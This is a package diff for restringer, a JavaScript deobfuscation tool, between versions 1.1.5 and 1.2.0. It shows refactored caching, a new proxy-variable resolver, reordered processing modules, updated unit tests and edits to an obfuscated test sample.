restringer
Advanced tools
Comparing version 1.1.5 to 1.2.0
{ | ||
"name": "restringer", | ||
"version": "1.1.5", | ||
"version": "1.2.0", | ||
"description": "Deobfuscate Javascript with emphasis on reconstructing strings", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
@@ -35,5 +35,5 @@ // Arguments that shouldn't be touched since the context may not be inferred during deobfuscation. | ||
badArgumentTypes, | ||
badIdentifierCharsRegex, | ||
badValue, | ||
defaultMaxIterations, | ||
badValue, | ||
badIdentifierCharsRegex, | ||
propertiesThatModifyContent, | ||
@@ -40,0 +40,0 @@ skipBuiltinFunctions, |
@@ -19,4 +19,5 @@ module.exports = { | ||
resolveProxyReferences: require(__dirname + '/resolveProxyReferences'), | ||
resolveProxyVariables: require(__dirname + '/resolveProxyVariables'), | ||
resolveRedundantLogicalExpressions: require(__dirname + '/resolveRedundantLogicalExpressions'), | ||
unwrapFunctionShells: require(__dirname + '/unwrapFunctionShells'), | ||
}; |
const {generateFlatAST} = require('flast'); | ||
const logger = require(__dirname + '/../utils/logger'); | ||
const getCache = require(__dirname + '/../utils/getCache'); | ||
const generateHash = require(__dirname + '/../utils/generateHash'); | ||
const cache = {}; | ||
/** | ||
@@ -14,4 +14,3 @@ * Extract string values of eval call expressions, and replace calls with the actual code, without running it through eval. | ||
function replaceEvalCallsWithLiteralContent(arb) { | ||
const scriptHash = arb.ast[0].scriptHash; | ||
if (!cache[scriptHash]) cache[scriptHash] = {}; | ||
const cache = getCache(arb.ast[0].scriptHash); | ||
const candidates = arb.ast.filter(n => | ||
@@ -22,8 +21,14 @@ n.type === 'CallExpression' && | ||
for (const c of candidates) { | ||
const cacheName = `replaceEval-${c.src}}`; | ||
const cacheName = `replaceEval-${generateHash(c.src)}`; | ||
try { | ||
if (!cache[scriptHash][cacheName]) { | ||
if (!cache[cacheName]) { | ||
let body; | ||
if (c.arguments[0].value) { | ||
body = generateFlatAST(c.arguments[0].value, {detailed: false})[1]; | ||
body = generateFlatAST(c.arguments[0].value, {detailed: false})[0].body; | ||
if (body.length > 1) { | ||
body = { | ||
type: 'BlockStatement', | ||
body, | ||
}; | ||
} else body = body[0]; | ||
} else body = { | ||
@@ -33,5 +38,5 @@ type: 'Literal', | ||
}; | ||
cache[scriptHash][cacheName] = body; | ||
cache[cacheName] = body; | ||
} | ||
let replacementNode = cache[scriptHash][cacheName]; | ||
let replacementNode = cache[cacheName]; | ||
let targetNode = c; | ||
@@ -47,2 +52,5 @@ // Edge case where the eval call renders an identifier which is then used in a call expression: | ||
} | ||
if (targetNode.parentNode.type === 'ExpressionStatement' && replacementNode.type === 'BlockStatement') { | ||
targetNode = targetNode.parentNode; | ||
} | ||
arb.markNode(targetNode, replacementNode); | ||
@@ -49,0 +57,0 @@ } catch (e) { |
@@ -13,3 +13,3 @@ const {generateFlatAST} = require('flast'); | ||
n.callee?.type === 'MemberExpression' && | ||
[n.callee.property?.name, n.callee.property?.value].includes('constructor') && | ||
(n.callee.property?.name || n.callee.property?.value) === 'constructor' && | ||
n.arguments.length && n.arguments.slice(-1)[0].type === 'Literal'); | ||
@@ -16,0 +16,0 @@ for (const c of candidates) { |
@@ -28,3 +28,4 @@ /** | ||
// Skip if the value is reassigned | ||
if (valueUses.filter(n => n.parentNode.type === 'AssignmentExpression' && n.parentKey === 'left').length) continue; | ||
if (valueUses.find(n => n.parentNode.type === 'AssignmentExpression' && n.parentKey === 'left')) continue; | ||
if (valueUses.find(n => n.parentNode.type === 'UpdateExpression')) continue; | ||
const replacementNode = c.parentNode.right; | ||
@@ -31,0 +32,0 @@ valueUses.forEach(n => arb.markNode(n, replacementNode)); |
@@ -19,3 +19,3 @@ const getDescendants = require(__dirname + '/../utils/getDescendants'); | ||
['Identifier', 'MemberExpression'].includes(n.init?.type)) && | ||
!/For.*Statement/.test(n.parentNode.parentNode.type)); | ||
!/For.*Statement/.test(n.parentNode?.parentNode?.type)); | ||
for (const c of candidates) { | ||
@@ -22,0 +22,0 @@ const relevantIdentifier = getMainDeclaredObjectOfMemberExpression(c.id)?.declNode || c.id; |
@@ -18,6 +18,3 @@ /** | ||
n.body.body[0].type === 'ReturnStatement' && | ||
[ | ||
n.body.body[0].argument?.callee?.property?.name, | ||
n.body.body[0].argument?.callee?.property?.value, | ||
].includes('apply') && | ||
(n.body.body[0].argument?.callee?.property?.name || n.body.body[0].argument?.callee?.property?.value) === 'apply' && | ||
n.body.body[0].argument.arguments?.length === 2 && | ||
@@ -24,0 +21,0 @@ n.body.body[0].argument.callee.object.type === 'FunctionExpression'); |
@@ -5,2 +5,3 @@ const {VM} = require('vm2'); | ||
const getObjType = require(__dirname + '/../utils/getObjType'); | ||
const generateHash = require(__dirname + '/../utils/generateHash'); | ||
const createNewNode = require(__dirname + '/../utils/createNewNode'); | ||
@@ -37,3 +38,4 @@ | ||
const cache = {}; | ||
let cache = {}; | ||
const maxCacheSize = 100; | ||
@@ -47,4 +49,5 @@ /** | ||
function evalInVm(stringToEval, logger = defaultLogger) { | ||
const cacheName = `eval-${stringToEval}`; | ||
const cacheName = `eval-${generateHash(stringToEval)}`; | ||
if (cache[cacheName] === undefined) { | ||
if (Object.keys(cache).length >= maxCacheSize) cache = {}; | ||
cache[cacheName] = badValue; | ||
@@ -51,0 +54,0 @@ try { |
@@ -7,6 +7,8 @@ // noinspection HtmlRequiredLangAttribute,HtmlRequiredTitleElement | ||
const defaultLogger = require(__dirname + '/../utils/logger'); | ||
const generateHash = require(__dirname + '/../utils/generateHash'); | ||
let jQuerySrc = ''; | ||
const cache = {}; | ||
let cache = {}; | ||
const maxCacheSize = 100; | ||
@@ -21,4 +23,5 @@ /** | ||
function evalWithDom(stringToEval, injectjQuery = false, logger = defaultLogger) { | ||
const cacheName = `evalWithDom-${stringToEval}`; | ||
const cacheName = `evalWithDom-${generateHash(stringToEval)}`; | ||
if (!cache[cacheName]) { | ||
if (Object.keys(cache).length >= maxCacheSize) cache = {}; | ||
let out = ''; | ||
@@ -25,0 +28,0 @@ const vm = new NodeVM({ |
@@ -21,2 +21,3 @@ const evalInVm = require(__dirname + '/evalInVm'); | ||
for (const c of candidates) { | ||
if (c.parentNode.type === 'UpdateExpression') continue; // Prevent replacing (++[[]][0]) with (++1) | ||
const newNode = evalInVm(c.src, logger); | ||
@@ -23,0 +24,0 @@ if (newNode !== badValue) arb.markNode(c, newNode); |
@@ -33,6 +33,9 @@ const {parseCode} = require('flast'); | ||
replacementNode = parseCode(newNode.value.replace(/([)}])(?!\/)/g, '$1\n')); | ||
} finally { | ||
// If when parsed the newNode results in an empty program - use the unparsed newNode. | ||
if (!replacementNode.body.length) replacementNode = newNode; | ||
} | ||
} | ||
} catch {} | ||
if (replacementNode !== badValue) arb.markNode(targetNode, replacementNode); | ||
if (replacementNode !== badValue) {arb.markNode(targetNode, replacementNode);} | ||
} | ||
@@ -39,0 +42,0 @@ return arb; |
@@ -19,3 +19,3 @@ const evalInVm = require(__dirname + '/evalInVm'); | ||
n.left.type === 'MemberExpression' && | ||
[n.left.object.property?.name, n.left.object.property?.value].includes('prototype') && | ||
(n.left.object.property?.name || n.left.object.property?.value) === 'prototype' && | ||
n.operator === '=' && | ||
@@ -29,3 +29,3 @@ (/FunctionExpression/.test(n.right?.type) || n.right?.type === 'Identifier')); | ||
n.callee.type === 'MemberExpression' && | ||
[n.callee.property?.name, n.callee.property?.value].includes(methodName)); | ||
(n.callee.property?.name || n.callee.property?.value) === methodName); | ||
for (const ref of references) { | ||
@@ -32,0 +32,0 @@ const refContext = [ |
const evalInVm = require(__dirname + '/evalInVm'); | ||
const logger = require(__dirname + '/../utils/logger'); | ||
const getCache = require(__dirname + '/../utils/getCache'); | ||
const getCalleeName = require(__dirname + '/../utils/getCalleeName'); | ||
@@ -9,4 +10,2 @@ const createOrderedSrc = require(__dirname + '/../utils/createOrderedSrc'); | ||
const cache = {}; | ||
/** | ||
@@ -19,5 +18,3 @@ * Collect all available context on call expressions where the callee is defined in the script and attempt | ||
function resolveLocalCalls(arb) { | ||
const scriptHash = arb.ast[0].scriptHash; | ||
if (!cache[scriptHash]) cache[scriptHash] = {}; | ||
const cache = getCache(arb.ast[0].scriptHash); | ||
const candidates = arb.ast.filter(n => | ||
@@ -47,12 +44,12 @@ n.type === 'CallExpression' && | ||
const declNode = c.callee?.declNode || c.callee?.object?.declNode; | ||
if (declNode?.parentNode?.body?.body?.length === 1 && declNode.parentNode?.body?.body[0].type === 'ReturnStatement') { | ||
if (declNode?.parentNode?.body?.body?.length && declNode.parentNode?.body?.body[0].type === 'ReturnStatement') { | ||
// Leave this replacement to a safe function | ||
const returnArg = declNode.parentNode.body.body[0].argument; | ||
if (['Literal', 'Identifier'].includes(returnArg.type)) continue; // Unwrap identifier | ||
if (['Literal', 'Identifier'].includes(returnArg.type) || /Function/.exec(returnArg.type)) continue; // Unwrap identifier | ||
else if (returnArg.type === 'CallExpression' && | ||
returnArg.callee?.object?.type === 'FunctionExpression' && | ||
[returnArg.callee.property?.name, returnArg.callee.property?.value].includes('apply')) continue; // Unwrap function shells | ||
(returnArg.callee.property?.name || returnArg.callee.property?.value) === 'apply') continue; // Unwrap function shells | ||
} | ||
const cacheName = `rlc-${callee.name || callee.value}-${declNode?.nodeId}`; | ||
if (!cache[scriptHash][cacheName]) { | ||
if (!cache[cacheName]) { | ||
// Skip call expressions with problematic values | ||
@@ -67,6 +64,6 @@ if (skipIdentifiers.includes(callee.name) || | ||
['Identifier', 'Literal'].includes(declNode.parentNode.body.body[0]?.argument?.type)) continue; | ||
cache[scriptHash][cacheName] = createOrderedSrc(getDeclarationWithContext(declNode.parentNode)); | ||
cache[cacheName] = createOrderedSrc(getDeclarationWithContext(declNode.parentNode)); | ||
} | ||
} | ||
const context = cache[scriptHash][cacheName]; | ||
const context = cache[cacheName]; | ||
const src = context ? `${context}\n${c.src}` : c.src; | ||
@@ -73,0 +70,0 @@ const newNode = evalInVm(src, logger); |
@@ -10,18 +10,22 @@ const {propertiesThatModifyContent} = require(__dirname + '/../config'); | ||
// Verify no reference is on the left side of an assignment | ||
return Boolean(refs.filter(r => r.parentNode.type === 'AssignmentExpression' && r.parentKey === 'left').length || | ||
return Boolean(refs.find(r => r.parentKey === 'left' && | ||
['AssignmentExpression', 'ForInStatement', 'ForOfStatement'].includes(r.parentNode.type)) || | ||
// Verify no reference is part of an update expression | ||
refs.filter(r => r.parentNode.type === 'UpdateExpression').length || | ||
refs.find(r => r.parentNode.type === 'UpdateExpression') || | ||
// Verify no variable with the same name is declared in a subscope | ||
refs.filter(r => r.parentNode.type === 'VariableDeclarator' && r.parentKey === 'id').length || | ||
refs.find(r => r.parentNode.type === 'VariableDeclarator' && r.parentKey === 'id') || | ||
// Verify there are no member expressions among the references which are being assigned to | ||
refs.filter(r => r.type === 'MemberExpression' && | ||
(ast.filter(n => n.type === 'AssignmentExpression' && n.left.src === r.src && | ||
([r.object.declNode?.nodeId, r.object?.nodeId].includes(n.left.object.declNode?.nodeId)))).length).length || | ||
refs.find(r => r.type === 'MemberExpression' && | ||
ast.find(n => n.type === 'AssignmentExpression' && | ||
n.left.type === 'MemberExpression' && | ||
n.left.object?.name === r.object?.name && | ||
(n.left.property?.name || n.left.property?.value === r.property?.name || r.property?.value) && | ||
(n.left.object.declNode?.nodeId && (r.object.declNode?.nodeId || r.object?.nodeId) === n.left.object.declNode.nodeId))) || | ||
// Verify no modifying calls are executed on any of the references | ||
refs.filter(r => r.parentNode.type === 'MemberExpression' && | ||
refs.find(r => r.parentNode.type === 'MemberExpression' && | ||
r.parentNode.parentNode.type === 'CallExpression' && | ||
r.parentNode.parentNode.callee?.object?.nodeId === r.nodeId && | ||
propertiesThatModifyContent.includes(r.parentNode.property?.value || r.parentNode.property?.name)).length); | ||
propertiesThatModifyContent.includes(r.parentNode.property?.value || r.parentNode.property?.name))); | ||
} | ||
module.exports = areReferencesModified; |
@@ -0,7 +1,12 @@ | ||
const getCache = require(__dirname + '/getCache'); | ||
const generateHash = require(__dirname + '/generateHash'); | ||
const isNodeMarked = require(__dirname + '/isNodeMarked'); | ||
const getDescendants = require(__dirname + '/getDescendants'); | ||
const isNodeInRanges = require(__dirname + '/isNodeInRanges'); | ||
const {propertiesThatModifyContent} = require(__dirname + '/../config'); | ||
const cache = {}; | ||
const skipCollectionTypes = [ | ||
'Literal', | ||
'Identifier', | ||
'MemberExpression', | ||
]; | ||
@@ -15,7 +20,7 @@ /** | ||
function getDeclarationWithContext(originNode) { | ||
const scriptHash = originNode.scriptHash; | ||
if (!cache[scriptHash]) cache[scriptHash] = {}; | ||
const cacheNameId = `context-${originNode.nodeId}-${originNode.src}`; | ||
const cacheNameSrc = `context-${originNode.src}`; | ||
let cached = cache[scriptHash][cacheNameId] || cache[scriptHash][cacheNameSrc]; | ||
const cache = getCache(originNode.scriptHash); | ||
const srcHash = generateHash(originNode.src); | ||
const cacheNameId = `context-${originNode.nodeId}-${srcHash}`; | ||
const cacheNameSrc = `context-${srcHash}`; | ||
let cached = cache[cacheNameId] || cache[cacheNameSrc]; | ||
if (!cached) { | ||
@@ -26,8 +31,11 @@ const collectedContext = [originNode]; | ||
const collectedRanges = []; | ||
const examinedIds = []; | ||
while (examineStack.length) { | ||
const relevantNode = examineStack.pop(); | ||
if (examinedIds.includes(relevantNode.nodeId)) continue; | ||
else examinedIds.push(relevantNode.nodeId); | ||
if (isNodeMarked(relevantNode)) continue; | ||
collectedContextIds.push(relevantNode.nodeId); | ||
collectedRanges.push(relevantNode.range); | ||
let relevantScope; | ||
let relevantScope = relevantNode.scope; | ||
const assignments = []; | ||
@@ -38,16 +46,7 @@ const references = []; | ||
relevantScope = relevantNode.init?.scope || relevantNode.id.scope; | ||
// Since the variable wasn't initialized, extract value from assignments | ||
if (!relevantNode.init) { | ||
assignments.push(...relevantNode.id.references.filter(r => | ||
r.parentNode.type === 'AssignmentExpression' && | ||
r.parentKey === 'left')); | ||
} else { | ||
// Collect all references found in init | ||
references.push(...getDescendants(relevantNode.init).filter(n => | ||
n.type === 'Identifier' && | ||
n.declNode && | ||
(n.parentNode.type !== 'MemberExpression' || | ||
n.parentKey === 'object')) | ||
.map(n => n.declNode)); | ||
} | ||
// Collect direct assignments | ||
assignments.push(...relevantNode.id.references.filter(r => | ||
r.parentNode.type === 'AssignmentExpression' && | ||
r.parentKey === 'left') | ||
.map(r => r.parentNode)); | ||
// Collect assignments to variable properties | ||
@@ -69,2 +68,3 @@ assignments.push(...relevantNode.id.references.filter(r => | ||
relevantScope = relevantNode.right?.scope; | ||
examineStack.push(relevantNode.right); | ||
break; | ||
@@ -79,12 +79,16 @@ case 'CallExpression': | ||
break; | ||
default: | ||
relevantScope = relevantNode.scope; | ||
case 'Identifier': | ||
if (relevantNode.declNode) { | ||
relevantScope = relevantNode.declNode.scope; | ||
references.push(relevantNode.declNode.parentNode); | ||
} | ||
break; | ||
} | ||
const contextToCollect = relevantScope.through | ||
.map(ref => ref.identifier?.declNode?.parentNode) | ||
.filter(ref => !!ref) | ||
.concat(assignments) | ||
.concat(references) | ||
.map(ref => ref.type === 'Identifier' ? ref.parentNode : ref); | ||
// noinspection JSUnresolvedVariable | ||
const contextToCollect = [...new Set( | ||
relevantScope.through.map(ref => ref.identifier?.declNode?.parentNode) | ||
.concat(assignments) | ||
.concat(references)) | ||
].map(ref => ref?.declNode ? ref.declNode : ref); | ||
for (const rn of contextToCollect) { | ||
@@ -102,10 +106,5 @@ if (rn && !collectedContextIds.includes(rn.nodeId) && !isNodeInRanges(rn, collectedRanges)) { | ||
} | ||
const skipCollectionTypes = [ | ||
'Literal', | ||
'Identifier', | ||
'MemberExpression', | ||
]; | ||
cached = collectedContext.filter(n => !skipCollectionTypes.includes(n.type)); | ||
cache[scriptHash][cacheNameId] = cached; // Caching context for the same node | ||
cache[scriptHash][cacheNameSrc] = cached; // Caching context for a different node with similar content | ||
cache[cacheNameId] = cached; // Caching context for the same node | ||
cache[cacheNameSrc] = cached; // Caching context for a different node with similar content | ||
} | ||
@@ -112,0 +111,0 @@ return cached; |
@@ -8,3 +8,4 @@ module.exports = { | ||
doesNodeContainRanges: require(__dirname + '/doesNodeContainRanges'), | ||
generateScriptHash: require(__dirname + '/generateScriptHash'), | ||
generateHash: require(__dirname + '/generateHash'), | ||
getCache: require(__dirname + '/getCache'), | ||
getCalleeName: require(__dirname + '/getCalleeName'), | ||
@@ -11,0 +12,0 @@ getDeclarationWithContext: require(__dirname + '/getDeclarationWithContext'), |
@@ -0,5 +1,5 @@ | ||
const {Arborist} = require('flast'); | ||
const generateHash = require(__dirname + '/generateHash'); | ||
const defaultLogger = require(__dirname + '/../utils/logger'); | ||
const {defaultMaxIterations} = require(__dirname + '/../config'); | ||
const {Arborist, generateFlatAST, generateCode} = require('flast'); | ||
const generateScriptHash = require(__dirname + '/generateScriptHash'); | ||
@@ -20,6 +20,6 @@ let iterationsCounter = 0; | ||
try { | ||
let scriptHash = generateScriptHash(script); | ||
let scriptHash = generateHash(script); | ||
let changesCounter = 0; | ||
let arborist = new Arborist(generateFlatAST(script), logger.log); | ||
while (scriptSnapshot !== script && currentIteration < maxIterations) { | ||
let arborist = new Arborist(script, logger.log); | ||
while (arborist.ast.length && scriptSnapshot !== script && currentIteration < maxIterations) { | ||
const cycleStartTime = Date.now(); | ||
@@ -33,4 +33,5 @@ scriptSnapshot = script; | ||
arborist = func(arborist); | ||
if (!arborist.ast.length) break; | ||
// If the hash doesn't exist it means the Arborist was replaced | ||
const numberOfNewChanges = ((Object.keys(arborist.markedForReplacement).length + arborist.markedForDeletion.length)) || +!arborist.ast[0].scriptHash; | ||
const numberOfNewChanges = arborist.getNumberOfChanges() + +!arborist.ast[0].scriptHash; | ||
if (numberOfNewChanges) { | ||
@@ -40,3 +41,4 @@ changesCounter += numberOfNewChanges; | ||
arborist.applyChanges(); | ||
scriptHash = generateScriptHash(script); | ||
script = arborist.script; | ||
scriptHash = generateHash(script); | ||
arborist.ast.forEach(n => n.scriptHash = scriptHash); | ||
@@ -57,3 +59,3 @@ } | ||
} | ||
if (changesCounter) script = generateCode(arborist.ast[0]); | ||
if (changesCounter) script = arborist.script; | ||
} catch (e) { | ||
@@ -60,0 +62,0 @@ logger.error(`[-] Error on loop #${iterationsCounter}: ${e}\n${e.stack}`); |
const {unsafe: {evalWithDom}, safe: {removeDeadNodes}} = require(__dirname + '/../modules'); | ||
const {generateCode, generateFlatAST, Arborist} = require('flast'); | ||
const {generateCode, Arborist} = require('flast'); | ||
@@ -48,3 +48,3 @@ const lineWithFinalAssignmentRegex = /(\w{3})\[.*]\s*=.*\((\w{3})\).*=\s*\1\s*\+\s*['"]/ms; | ||
script = evalWithDom(script); | ||
if (script) arb = new Arborist(generateFlatAST(script)); | ||
if (script) arb = new Arborist(script); | ||
} | ||
@@ -51,0 +51,0 @@ return arb; |
@@ -15,3 +15,4 @@ /** | ||
'augmented_array_function_replacements': () => require(__dirname + '/augmentedArray.js'), | ||
'augmented_proxied_array_function_replacements': () => require(__dirname + '/augmentedProxiedArrayFunc.js'), | ||
'proxied_augmented_array_function_replacements': () => require(__dirname + '/augmentedArray.js'), | ||
}; |
@@ -32,2 +32,3 @@ #!/usr/bin/env node | ||
resolveFunctionConstructorCalls, | ||
resolveProxyVariables, | ||
resolveProxyReferences, | ||
@@ -90,5 +91,7 @@ }, | ||
normalizeEmptyStatements, | ||
resolveProxyCalls, | ||
consolidateNestedBlockStatements, | ||
resolveRedundantLogicalExpressions, | ||
resolveProxyCalls, | ||
resolveProxyVariables, | ||
resolveProxyReferences, | ||
resolveMemberExpressionReferencesToArrayIndex, | ||
@@ -98,5 +101,2 @@ resolveMemberExpressionsWithDirectAssignment, | ||
resolveDeterministicIfStatements, | ||
unwrapFunctionShells, | ||
replaceFunctionShellsWithWrappedValue, | ||
replaceFunctionShellsWithWrappedValueIIFE, | ||
replaceCallExpressionsWithUnwrappedIdentifier, | ||
@@ -107,3 +107,5 @@ replaceEvalCallsWithLiteralContent, | ||
resolveFunctionConstructorCalls, | ||
resolveProxyReferences, | ||
replaceFunctionShellsWithWrappedValue, | ||
replaceFunctionShellsWithWrappedValueIIFE, | ||
unwrapFunctionShells, | ||
]; | ||
@@ -122,6 +124,6 @@ } | ||
resolveDefiniteMemberExpressions, | ||
resolveLocalCalls, | ||
resolveBuiltinCalls, | ||
resolveDeterministicConditionalExpressions, | ||
resolveInjectedPrototypeMethodCalls, | ||
resolveLocalCalls, | ||
resolveEvalCallsOnNonLiterals, | ||
@@ -128,0 +130,0 @@ ]; |
@@ -160,3 +160,2 @@ module.exports = [ | ||
function c() { | ||
const b = a; | ||
return 'hello world'; | ||
@@ -176,3 +175,2 @@ }`, | ||
function c() { | ||
const b = a; | ||
return 'hello world'; | ||
@@ -223,4 +221,4 @@ }`, | ||
name: 'Replace Local Member Expressions Proxy - Chained Proxies', | ||
source: 'const a = ["hello"], b = a[0], c = b;', | ||
expected: `const a = ['hello'], b = 'hello', c = 'hello';`, | ||
source: 'const a = ["hello"], b = a[0], c = b; console.log(c);', | ||
expected: `const a = ['hello'], b = 'hello';\nconsole.log('hello');`, | ||
}, | ||
@@ -251,3 +249,3 @@ { | ||
' world' | ||
], b = 'hello', c = a; | ||
], b = 'hello'; | ||
console.log('hello world');`, | ||
@@ -254,0 +252,0 @@ }, |
@@ -80,6 +80,20 @@ const {generateFlatAST} = require('flast'); | ||
source: `eval('console.log("hello world")');`, | ||
expected: `console.log('hello world');\n;`, | ||
expected: `console.log('hello world');;`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'replaceEvalCallsWithLiteralContent - TP-2', | ||
func: __dirname + '/../src/modules/safe/replaceEvalCallsWithLiteralContent', | ||
source: `eval('a; b;');`, | ||
expected: `{\n a;\n b;\n}`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'replaceEvalCallsWithLiteralContent - TP-3', | ||
func: __dirname + '/../src/modules/safe/replaceEvalCallsWithLiteralContent', | ||
source: `function q() {return (eval('a; b;'));}`, | ||
expected: `function q() {\n return {\n a;\n b;\n };\n}`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'replaceFunctionShellsWithWrappedValue - TP-1', | ||
@@ -106,2 +120,16 @@ func: __dirname + '/../src/modules/safe/replaceFunctionShellsWithWrappedValue', | ||
enabled: true, | ||
name: 'replaceIdentifierWithFixedAssignedValue - TN-1', | ||
func: __dirname + '/../src/modules/safe/replaceIdentifierWithFixedAssignedValue', | ||
source: `var a = 3; for (a in [1, 2]) console.log(a);`, | ||
expected: `var a = 3; for (a in [1, 2]) console.log(a);`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'replaceIdentifierWithFixedAssignedValue - TN-2', | ||
func: __dirname + '/../src/modules/safe/replaceIdentifierWithFixedAssignedValue', | ||
source: `var a = 3; for (a of [1, 2]) console.log(a);`, | ||
expected: `var a = 3; for (a of [1, 2]) console.log(a);`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'replaceIdentifierWithFixedValueNotAssignedAtDeclaration - TP-1', | ||
@@ -146,4 +174,3 @@ func: __dirname + '/../src/modules/safe/replaceIdentifierWithFixedValueNotAssignedAtDeclaration', | ||
source: `const a = [1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3]; b = a['indexOf']; c = a['length'];`, | ||
expected: `const a = [\n 1,\n 1,\n 1,\n 1,\n 1,\n 1,\n 1,\n 1,\n 1,\n 1, | ||
2,\n 2,\n 2,\n 2,\n 2,\n 2,\n 2,\n 2,\n 2,\n 2,\n 3\n];\nb = a['indexOf'];\nc = a['length'];`, | ||
expected: `const a = [1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3]; b = a['indexOf']; c = a['length'];`, | ||
}, | ||
@@ -159,2 +186,16 @@ { | ||
enabled: true, | ||
name: 'resolveMemberExpressionsWithDirectAssignment - TN-1', | ||
func: __dirname + '/../src/modules/safe/resolveMemberExpressionsWithDirectAssignment', | ||
source: `const a = {}; a.b = ''; a.b = 3;`, | ||
expected: `const a = {}; a.b = ''; a.b = 3;`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'resolveMemberExpressionsWithDirectAssignment - TN-2', | ||
func: __dirname + '/../src/modules/safe/resolveMemberExpressionsWithDirectAssignment', | ||
source: `const a = {}; a.b = 0; ++a.b + 2;`, | ||
expected: `const a = {}; a.b = 0; ++a.b + 2;`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'resolveProxyCalls - TP-1', | ||
@@ -174,2 +215,16 @@ func: __dirname + '/../src/modules/safe/resolveProxyCalls', | ||
enabled: true, | ||
name: 'resolveProxyVariables - TP-1', | ||
func: __dirname + '/../src/modules/safe/resolveProxyVariables', | ||
source: `const a2b = atob; console.log(a2b('NDI='));`, | ||
expected: `console.log(atob('NDI='));`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'resolveProxyVariables - TP-2', | ||
func: __dirname + '/../src/modules/safe/resolveProxyVariables', | ||
source: `const a2b = atob, a = 3; console.log(a2b('NDI='));`, | ||
expected: `const a = 3;\nconsole.log(atob('NDI='));`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'resolveRedundantLogicalExpressions - TP-1', | ||
@@ -271,3 +326,3 @@ func: __dirname + '/../src/modules/safe/resolveRedundantLogicalExpressions', | ||
source: `function atob() {return 1;} atob('test');`, | ||
expected: `function atob() {\n return 1;\n}\natob('test');`, | ||
expected: `function atob() {return 1;} atob('test');`, | ||
}, | ||
@@ -290,2 +345,9 @@ { | ||
enabled: true, | ||
name: 'resolveDefiniteMemberExpressions - TN-1', | ||
func: __dirname + '/../src/modules/unsafe/resolveDefiniteMemberExpressions', | ||
source: `++[[]][0];`, | ||
expected: `++[[]][0];`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'resolveDeterministicConditionalExpressions - TP-1', | ||
@@ -301,3 +363,3 @@ func: __dirname + '/../src/modules/unsafe/resolveDeterministicConditionalExpressions', | ||
source: `({} ? 1 : 2); ([].length ? 3 : 4);`, | ||
expected: `({} ? 1 : 2);\n[].length ? 3 : 4;`, | ||
expected: `({} ? 1 : 2); ([].length ? 3 : 4);`, | ||
}, | ||
@@ -313,2 +375,9 @@ { | ||
enabled: true, | ||
name: 'resolveEvalCallsOnNonLiterals - TP-2', | ||
func: __dirname + '/../src/modules/unsafe/resolveEvalCallsOnNonLiterals', | ||
source: `eval([''][0]);`, | ||
expected: `''`, | ||
}, | ||
{ | ||
enabled: true, | ||
name: 'resolveInjectedPrototypeMethodCalls - TP-1', | ||
@@ -315,0 +384,0 @@ func: __dirname + '/../src/modules/unsafe/resolveInjectedPrototypeMethodCalls', |
@@ -12,2 +12,3 @@ module.exports = { | ||
'Local Proxies': 'localProxies.js', | ||
// 'Presence': 'presence.js', | ||
}; |
@@ -36,3 +36,3 @@ module.exports = [ | ||
})();`, | ||
expected: `console.log('REstringer');`, | ||
expected: `console.log("REstringer")`, | ||
}, | ||
@@ -64,3 +64,3 @@ { | ||
source: `function getArr() {return ['One', 'Two', 'Three']} console.log(getArr()[0] + ' + ' + getArr()[1] + ' = ' + getArr()[2]);`, | ||
expected: `function getArr() {\n return [\n 'One',\n 'Two',\n 'Three'\n ];\n}\nconsole.log(getArr()[0] + ' + ' + getArr()[1] + ' = ' + getArr()[2]);`, | ||
expected: `function getArr() {return ['One', 'Two', 'Three']} console.log(getArr()[0] + ' + ' + getArr()[1] + ' = ' + getArr()[2]);`, | ||
}, | ||
@@ -67,0 +67,0 @@ { |
@@ -434,3 +434,3 @@ var _0x3378 = [ | ||
var _0x449a46 = _0x2cb1.fteork[_0x4b5899]; | ||
if (_0x449a46 === undefined) { | ||
if (_0x2cb1.fteork[_0x4b5899] === undefined) { | ||
if (_0x2cb1.heXqWm === undefined) { | ||
@@ -442,3 +442,3 @@ _0x2cb1.heXqWm = true; | ||
} else { | ||
_0x2cb187 = _0x449a46; | ||
_0x2cb187 = _0x2cb1.fteork[_0x4b5899]; | ||
} | ||
@@ -719,4 +719,4 @@ return _0x2cb187; | ||
}, _0x2868d4 = function () { | ||
for (var _0x2a7357 = _0x5e15d0, _0x335727 = _0x2a7357.length, _0x58335a, _0x293f65, _0x467cb7, _0x3f2c64, _0x1f630b; _0x16aa5b < _0x335727;) | ||
switch (_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b), _0x1f630b) { | ||
for (var _0x335727 = _0x5e15d0.length, _0x58335a, _0x293f65, _0x467cb7, _0x3f2c64, _0x1f630b; _0x16aa5b < _0x335727;) | ||
switch (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), _0x1f630b) { | ||
case 9: | ||
@@ -734,10 +734,10 @@ case 10: | ||
case 44: | ||
return _0x58335a = _0x39b9bf ? _0x2a7357.charAt(_0x16aa5b) : _0x2a7357[_0x16aa5b], _0x16aa5b++, _0x58335a; | ||
return _0x58335a = _0x39b9bf ? _0x5e15d0.charAt(_0x16aa5b) : _0x5e15d0[_0x16aa5b], _0x16aa5b++, _0x58335a; | ||
case 34: | ||
_0x58335a = '@'; | ||
for (_0x16aa5b++; _0x16aa5b < _0x335727;) | ||
if (_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b), 32 > _0x1f630b) | ||
if (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), 32 > _0x1f630b) | ||
_0x2614a6(); | ||
else if (92 == _0x1f630b) | ||
switch (_0x1f630b = _0x2a7357.charCodeAt(++_0x16aa5b), _0x1f630b) { | ||
switch (_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b), _0x1f630b) { | ||
case 92: | ||
@@ -757,4 +757,4 @@ case 34: | ||
